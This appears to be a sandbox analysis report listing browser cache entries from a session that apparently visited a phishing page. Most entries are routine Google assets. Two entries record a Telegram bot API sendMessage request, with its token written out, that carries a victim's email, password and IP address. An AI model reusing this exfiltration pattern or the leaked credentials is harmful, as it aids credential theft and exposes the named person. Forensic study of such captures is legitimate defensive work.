Preview:	.PNG........IHDR.............k.XT....PLTE........................................................................................................................................te.....qb......................................XG..........~.}.\|.{.z.y.x.w.v.u.t.s..r.~q.}p.\|o.\|n.{m.G4.zl.yk.xj.wi.vh.ug.tf.te.sd.rc.qb.pa.o`.n`.m_.m^.l].k\.j[.iZ.hY.gX.;'.fW.eV.eU.dT.cS.bR.aQ.`P._O.^N.^M.]L.\K.[J.ZI.YH.XG.WF.VE.VD.UC.TB.SA.R@.Q?.P>.O=.O<.N<.M;.L:.K9.J8.I7.H6.G5.G4.F3.E2.D1.C0.#..B/.A..@-.@,.?+.>.=).<(.;'.:&....9%.8$.8#.7".6!.5 .4..3..2..1..1..0../.....-..,..+....)..)..(..'..&..%..$..#..".."..!.. .........wi.iZ.ZI.TB.3../....)..)..&..%..$..#..".."..!.. ...............tRNS................................ ""$$&&((*,,..0022446688::::<<>>>@@BBDDFFHHJJLLNNPPRRTTVVXXZZ\\\\^^``bbddffhhjjllnnpprrsttvvxxzz\|\|~~...............................................................

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	27641
Entropy (8bit):	5.573976695441575
Encrypted:	false
SSDEEP:
MD5:	2118F868FAE723EBC0C0674E8649E123
SHA1:	6A7759DD79CF76D2141585D0D6880DF9F0DF6FDB
SHA-256:	D9913CCE1102236ACD2DCBC26F0CD7A59C818F315B659704987AFBFA5BD46573
SHA-512:	2182404F2B47C3B1CCDB1F41697E9598459D63F72F7229479A464CCE220C256370D278CAF3FB48DEB0300296C25721B57199E1D9C43FA505DB6B4AE4348D2246
Malicious:	false
Reputation:	unknown
URL:	"https://fonts.googleapis.com/css?family=Google+Sans_old:300,400,500,700"
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ armenian /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiIUvaYr.woff2) format('woff2');. unicode-range: U+0308, U+0530-058F, U+2010, U+2024, U+25CC, U+FB13-FB17;.}./ bengali /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiAUvaYr.woff2) format('woff2');. unicode-range: U+0951-0952, U+0964-0965, U+0980-09FE, U+1CD0, U+1CD2, U+1CD5-1CD6, U+1CD8, U+1CE1, U+1CEA, U+1CED, U+1CF2, U+1CF5-1CF7, U+200C-200D, U+20B9, U+25CC, U+A8F1;.}./ cyrillic-ext */.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_I

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	382
Entropy (8bit):	5.3977818940665605
Encrypted:	false
SSDEEP:
MD5:	7AB5374404010A30A9B0DCD02B950DA0
SHA1:	211938E863F6F3F688F3E6B9B2FA3263C4E801D7
SHA-256:	0024646CC8765667EEAD8760DEEFD7AEC95320CB6C5665DD2F2316A2C9D649E6
SHA-512:	188FA85B002258A835FC40992C6803435248D98CC8873EDBEF04CAB20EF8A8460EB119D0AF65474683A2BB71B7CFAEA43107F88BE7933A572D1DFC8DA51BD4E9
Malicious:	false
Reputation:	unknown
URL:	https://content.googleapis.com/static/proxy.html?usegapi=1&jsh=m%3B%2F_%2Fscs%2Fabc-static%2F_%2Fjs%2Fk%3Dgapi.gapi.en.x7CxCIZpks8.O%2Fam%3DAAAg%2Fd%3D1%2Frs%3DAHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ%2Fm%3D__features__
Preview:	<!DOCTYPE html>.<html>.<head>.<title></title>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<script nonce="pU1-9C8FznGFI_jiJYLZFQ">. window['startup'] = function() {. googleapis.server.init();. };.</script>.<script src="https://apis.google.com/js/googleapis.proxy.js?onload=startup" async defer nonce="pU1-9C8FznGFI_jiJYLZFQ"></script>.</head>.<body>.</body>.</html>.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	595
Entropy (8bit):	5.330514839748574
Encrypted:	false
SSDEEP:
MD5:	6C8F2F51085D8CC99782EBBF1A1A5395
SHA1:	D5493915FC250E46CBE01C617313B0808EAD8024
SHA-256:	00251EDA9E685C58927F0925499BA380365A93F9DF22BFE60AEDA3F7B965E845
SHA-512:	2F7454BF7AD0C672E80E6364EDB3EEA8A84C84C796B3D6AB7F6932110DC3A7D00D8D61982B369E3B1538ACD9801A2739CC6FFEE2FC3E17A44BC19C28488321D0
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":109,"from":{"id":7758695294,"is_bot":true,"first_name":"Shelby Notif","username":"Shel225_Bot"},"chat":{"id":5848269608,"first_name":"J","username":"Anoonyms","type":"private"},"date":1733135918,"text":"\ud83c\uddeb\ud83c\uddf7 FR R\u00e9sultat - stanislas@socotec.com:T@ntecl\u00e9\"'\nIP: 8.46.123.228\nAppareil: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","entities":[{"offset":19,"length":21,"type":"email"},{"offset":56,"length":12,"type":"url"},{"offset":167,"length":9,"type":"url"}]}}

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.280394654123195
Encrypted:	false
SSDEEP:
MD5:	4708D1B37F72B842EFE4238A9825064B
SHA1:	889321990FC6854DD351DF9DE8D41D2C9253BAF0
SHA-256:	10B772A54149F2086265D2CAF0C434B7CABE913BBE3665CB9DE5FAEC5EB2FB7F
SHA-512:	1285F4AEFE4F061D9D53FE96509AD93070843265C306123D197DF3603EEFF92FC6017019410015203B2DF139CC9594E387246D4211EADE320A7E77CCCA6EFDDA
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSFwncHhV_nsiGYRIFDZFhlU4SBQ0G7bv_?alt=proto
Preview:	ChIKBw2RYZVOGgAKBw0G7bv/GgA=

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3274), with no line terminators
Category:	downloaded
Size (bytes):	3274
Entropy (8bit):	5.390471426059042
Encrypted:	false
SSDEEP:
MD5:	33E4EF067E8DB248F4DFB3C7F76E02B5
SHA1:	D5D5979344C1D3F41A32A180ADC849D373196B6A
SHA-256:	89E059962059032E7A140D5739E8C9C197A55D7305ABD98466C9D6D300B07A02
SHA-512:	9A1F769697EE558640C298906A933259DE20D4CD01D0D485BAEA1B7274B8F951B6D56BF5DF1E54383482970245E2CC5F71EB833EA1C89E949E6948DB56A448AE
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qcwid/excm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 34184, version 1.0
Category:	downloaded
Size (bytes):	34184
Entropy (8bit):	7.99444009565784
Encrypted:	true
SSDEEP:
MD5:	1ACA735014A6BB648F468EE476680D5B
SHA1:	6D28E3AE6E42784769199948211E3AA0806FA62C
SHA-256:	E563F60814C73C0F4261067BD14C15F2C7F72ED2906670ED4076EBE0D6E9244A
SHA-512:	808AA9AF5A3164F31466AF4BAC25C8A8C3F19910579CF176033359500C8E26F0A96CDC68CCF8808B65937DC87C121238C1C1B0BE296D4306D5D197A1E4C38E86
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjIUvQ.woff2
Preview:	wOF2..............X......................................4?HVAR.k.`?STAT..'...J/<.....`..(..Z.0..N.6.$.... .....K..[O;q..w....z.....%.O.t'.R....6.{..@.k......C.B..Z.uU.}..!.".....]jK.`&.\..4...US.......x..C...1g.:.+.?.t<....J...C.p.c..J...........V..H1.6.~..n.]~"R>..s....7....FE1.S/m....}..<....M..IHB.._8.d.3"......8..t.;f._~X.A.&n.1..t..v...n.._............eS.......!V."v6.xm\|M..O.z..,....,...N.1......y^7...^^.$.!.$<V..B....."j..!2..Y"..{w!..Z.[...]H....M-.".8j.<..X.[{..UI....ML.J.?4B.....]..4..()^Bi.4iD/..]....../I.-.J[D...........c...)63.U.rFpW5}.9$..2...t..:.MW.c.N...lK...3^......./..v. !...;..v.w./^S...\U....\|.......Y9...a.z.....i..$J.U...Ks....0Q.........iy.....M..@..........&..c.kh.(<.O.....~..#.-.gfw.t...nbo...]0'G.!.2.8....y.K..;%......_).W..?.'.DTR.H....G.Al..d......g>.6..(.."4l...3$...\_.W}..R...\.o........`..q...@XG.wpN......!....&...\.&.....N..5..n......g..bR......HV...s...e..r.0ty&.SW.j.{I...".m .s..T....l....@th:..aM.

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAmlNHcUu78_khIFDQbtu_8=?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	595
Entropy (8bit):	5.3300019963146985
Encrypted:	false
SSDEEP:
MD5:	7908A9B5ABFF3261B7D76DEBEFF9495A
SHA1:	8D975D32EDDB75B75334E8EC54281504F36B23E8
SHA-256:	AC98E09BE851D429B7197405EB1174336606CB020E12242F1B2E8B91B196851B
SHA-512:	AD592A8300AA0221619B5B3451B41004EB973D7E0004E49FF827ACE119E0A6F50A94D1E2AAAAB90CC2306F7888E8CB1EB1E4804A0670F454982D37D7059DDF11
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7758695294:AAGKJw1sSrE0YEf8T4XuflZIyIuz1L92Zlk/sendMessage?chat_id=5848269608&text=%F0%9F%87%AB%F0%9F%87%B7%20FR%20R%C3%A9sultat%20-%20stanislas%40socotec.com%3AT%40ntecl%C3%A9%22%27%0AIP%3A%208.46.123.228%0AAppareil%3A%20Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36
Preview:	{"ok":true,"result":{"message_id":108,"from":{"id":7758695294,"is_bot":true,"first_name":"Shelby Notif","username":"Shel225_Bot"},"chat":{"id":5848269608,"first_name":"J","username":"Anoonyms","type":"private"},"date":1733135916,"text":"\ud83c\uddeb\ud83c\uddf7 FR R\u00e9sultat - stanislas@socotec.com:T@ntecl\u00e9\"'\nIP: 8.46.123.228\nAppareil: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","entities":[{"offset":19,"length":21,"type":"email"},{"offset":56,"length":12,"type":"url"},{"offset":167,"length":9,"type":"url"}]}}

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4376)
Category:	dropped
Size (bytes):	74563
Entropy (8bit):	5.580765478251947
Encrypted:	false
SSDEEP:
MD5:	CA9206427A2733F41E0379A11DD9B18C
SHA1:	D6317808EC4B6A5F08386AE257E7B00319B5E52A
SHA-256:	C045CD6F29CC21A6EC6E21E457E0A0E8625C9D002A1A7AE96E4EA2D72AC1B41A
SHA-512:	5A37A023B5C7AEE5B0FC5557A3BCC08A3E4C3B6A7D04CA1C4B4CCFB4FBEFBDB2D0754B6F28C8B230A45833CAAB6007677C2D97428EFDDF45CC46D758B2081F1C
Malicious:	false
Reputation:	unknown
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);.var aa,ba,fa,ma,na,ra,sa,ua;aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ka=fa(this);ma=function(a,b){if(b)a:{var c=_.ka;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)r

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561)
Category:	dropped
Size (bytes):	30884
Entropy (8bit):	5.396878850736056
Encrypted:	false
SSDEEP:
MD5:	32C99FE6533A025BDB08BDE87A9B4F6E
SHA1:	F1B48F220F4B4B81CCDBB1A9289B821A66CFA1D3
SHA-256:	14939503C8A97BEF459CE94218F0E65933AB569F7B1D726BCB0B3C1031EBCCF9
SHA-512:	8D454CC89659899B923B9467FD1F488F0DEA432D4FDAEDB59FAA83C29D4FEDD045AA445BE34D094103E4D81BD4773B61F926C381F14FC7388E34D89D51F4582D
Malicious:	false
Reputation:	unknown
Preview:	(function(){'use strict';var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var r=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var t=da(this);function u(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var g=a[d];if(!(g in c))break a;c=c[g]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&r(c,a,{configurable:!0,writable:!0,value:b})}}.u("Symbol",function(a){function b(k){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(k\|\|"")+"_"+g++,k)}.function c(k,e){this.g=k;r(this,"description",{configurable:!0,writable:!0,value:e

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	259
Entropy (8bit):	6.7268503778685105
Encrypted:	false
SSDEEP:
MD5:	AF848AEE503A57E479B0FB57318F3F2F
SHA1:	68FE7097531D492691C6FA3454C8192D13E8572F
SHA-256:	33DD0582F6972DDDB05BEE6FD5EA0312FBD782A8003F4C7876AFEBD0F08F49AD
SHA-512:	1225614BBD2BD8DCF57B31759093EC92096A16AB428DE43606A8F71367BF247B9ADFE1F2C18E5F7156A216CBC4B35CF5070A39E4740FBDE1BAE5709D43734619
Malicious:	false
Reputation:	unknown
URL:	https://ssl.gstatic.com/docs/doclist/images/mediatype/icon_3_pdf_x16.png
Preview:	.PNG........IHDR................a....IDATx.cx.l......+g.....N... ...=....D.\|Y8.......]Z...E.p....`5.....}.lD5..3.....?.......?..8..D......H.....n..(?..r.....L3....\|.....cm...@j@..j.8..\|T/ ....4...^..P>PC:<.>#......CBz.d..".^8.....h......V...Q......IEND.B`.

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (501)
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	5.2984081224714314
Encrypted:	false
SSDEEP:
MD5:	940C9CB46DF0104C4DB4864E568C6570
SHA1:	BCB53B9FE29F6AF8BC8563297500B16DA0CC6363
SHA-256:	C1461CEFFF8C2334012FC8E562F230233AAF67F8CD2AD6927D9147D315C5AF64
SHA-512:	B9E60C6F4989A7025BBDBEC9848C8564CE7AE82B71EC2DF34CAAC95E8420BA93BFF0DE73796E89D338B54685B66FD1D2C68704AAC8528BA6A88D712356559848
Malicious:	false
Reputation:	unknown
Preview:	var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/b46bb280\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if(n)a.setAttribute("nonce",.n)}var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})()};.

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	831
Entropy (8bit):	7.690596689293278
Encrypted:	false
SSDEEP:
MD5:	916C9BCCCF19525AD9D3CD1514008746
SHA1:	9CCCE6978D2417927B5150FFAAC22F907FF27B6E
SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
Reputation:	unknown
URL:	https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (604)
Category:	downloaded
Size (bytes):	14558
Entropy (8bit):	5.707993436122279
Encrypted:	false
SSDEEP:
MD5:	BB990FC4D3452B1BEC962E24357616DF
SHA1:	BBE744F6BD251A7DA49EB19869FEE1624BF46339
SHA-256:	24B300F33FF94AECAC0583D5C327238AD5A012F62911A3F45A7242549150ACB8
SHA-512:	6148FAA9E283168BE64FCE94F47E7E9E23F5D1028D9E9A4C9A60793D006BFA1CFAFA34A8447FDF42BC6BD8E232C505F885F0418C54689134119033EEAFECC7F0
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.uI26_hipfw4.O/am=wGA/d=0/rs=AO0039sRkkhQ7DX_Btd3fw-X7j5bjQ0r2Q/m=sy22,LBaJxb,sy24,pxafOd,sy23,sy28,sy29,sy2c,GI8h7,nAFL3,sy2d,sy2e,O626Fe"
Preview:	try{.var iQ=Symbol();.}catch(e){_DumpException(e)}.try{.B("LBaJxb");.var uRc=function(a){a=a.rect;return Math.floor(Math.max(a.height,a.width).2)},vRc={pseudoElement:"::after",duration:450,fill:"forwards",easing:"cubic-bezier(0.2, 0, 0, 1)"};var nQ=function(a){NO.call(this,a.Ca);this.Tg=!1;this[iQ]=!0};R(nQ,NO);nQ.ta=NO.ta;.nQ.prototype.od=function(a){var b;if(!this.Tg&&(a instanceof KeyboardEvent?a.key==="Enter"\|\|a.key===" ":1)){this.Tg=!0;(b=this.animation)==null\|\|b.cancel();clearTimeout(this.timeout);this.ca().ub("RBHQF-ksKsZd-OWXEXe-QDgCrf");var c=this.ca().el().getBoundingClientRect();var d=uRc({rect:c});a=a instanceof MouseEvent?{x:a.clientX-c.left,y:a.clientY-c.top}:{x:c.width/2,y:c.height/2};b=a={x:a.x-d/2,y:a.y-d/2};a=(c.width-d)/2;d=(c.height-d)/2;var e={rect:c};var f=e.rect;c=f.width;f=f.height;e=uRc(e);c=.""+(Math.sqrt(Math.pow(c,2)+Math.pow(f,2))+10+Math.max(.35Math.max(f,c),75))/e;e+="px";a={top:[0,0],left:[0,0],height:[e,e],width:[e,e],transform:["translate("+b.x+"px,

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	217255
Entropy (8bit):	5.523257217616451
Encrypted:	false
SSDEEP:
MD5:	3B34974D281C604DE983891E2121557B
SHA1:	259F7F243114B721C6E95825D0A5835BF4E341C5
SHA-256:	BE3425DAEDE80733FF9EE1017752EDB3A150E300A1A3A576B0B800633AB3BEBB
SHA-512:	04A8B52005B28E1C2BB8C6F24C3DAB3FCC014938270A826715C7CEECB7AFDF38012D57D283B23E57CCDCB24CD4BB3C29F20FACA809D12C261F39FFC406F46F28
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=qabr,q_dnp,qcwid,qapid,qads,q_dg/exm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Cd=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a;.}catch(e){_._DumpException(e)}.try{._.ve=function(a){return _.Kb(a)&&a.nodeType==1};_.we=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.se(a),a.appendChild(_.ie(a).createTextNode(String(b)))};var xe;_.ye=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(xe\|\|(xe={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=xe,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ce;_.Be=func

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	4.758217138015706
Encrypted:	false
SSDEEP:
MD5:	BA6AB51487CFAEF8F7E56133C34AAE37
SHA1:	19DF244D1D07FF43020A7B001A5B27498507CB7D
SHA-256:	FB20FC7C1F7CFCF723EFCEE54434C316E05EE614F707502344330828FFC1CC98
SHA-512:	95EC94EE16487C430C45E98CF822425F2C7934F69CA257C5E20B1F9E659D6BBF6519E09AD65CE18DA8CA3786D477FC93286F3C6C6AAA1C08B319A4B9AAE854EA
Malicious:	false
Reputation:	unknown
Preview:	{. "error": {. "code": 403,. "message": "Requests from referer \u003cempty\u003e are blocked.",. "status": "PERMISSION_DENIED",. "details": [. {. "@type": "type.googleapis.com/google.rpc.ErrorInfo",. "reason": "API_KEY_HTTP_REFERRER_BLOCKED",. "domain": "googleapis.com",. "metadata": {. "service": "blobcomments-pa.googleapis.com",. "consumer": "projects/298134251447". }. }. ]. }.}.

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x1448, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	71652
Entropy (8bit):	7.990351807248808
Encrypted:	true
SSDEEP:
MD5:	A6F6C3EBBDF987650700A2A74FD26366
SHA1:	78FDA9CF7BC768DAE0AAE389B2C99482A6522F7C
SHA-256:	2B9412C5587468E0D070BC49FD36691BEAF98B620B9799F7F0441EDF2A9549A9
SHA-512:	185DB4737977F8BD493F490FA499C8C875B2EFFC58D68F18FAB5D032B1704A363DC84B25AF0FFBB0ECD9B6CECDA363DF9F36205E8843D6F324D4992A00AF0A56
Malicious:	false
Reputation:	unknown
Preview:	RIFF....WEBPVP8 .............>.X.O'%$"#S.x...in.r<2.d.@#.E.7...........V....?..k...........?......u.=......B.....?..............x.........c.........?..A.&.Y........o..M...3V.[........C.w...g.'.o......k.........k.g...G......'>B.e.Y....._..........+...K.....?.~..\.........~A...n.../...7......x.....u......h..HS......!L..B..$.0.I.`.....$)..HS......!L..B..$.0.I.`.....$)..HS......!L..B..$.0.I.`.....$)..HS......!L..B..$.0.I.`.....$)..HS......!L..B..$.0.I.`.....$)..HS......!L..B..$.0.I.`.....$)..HS......!L..B..$.0.I.`.....$)..B.l..Jv>.\|$C...HS......!L..B..$.0.I.`..Qk..8.c@p...a..xiE...$.R.a..F,.d.5...>;..!R....~..0..G.b......fH........VX....B..$.0.I.`.....$)..HUH.".c{^.pd..=..VUe..`.....$)..HS......!L..B..$.0.I.`.....$)..HS......!I.w&+.T..?..uN..r^.l.3bK;.B..H....M....h.....COe&+........g$+..QU?...LL.:.J._.Y....w....k./Y.....1....W.]..z..>...=..sI.8...3.7..A.f.......n.....DQ".M.ut.?..C......Om.'.P'..Dp[.@......U..... .pue..`.....$).....r[kV8U..Y>m.....N.TH...._A.. .

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1077)
Category:	dropped
Size (bytes):	16083
Entropy (8bit):	5.624134483380374
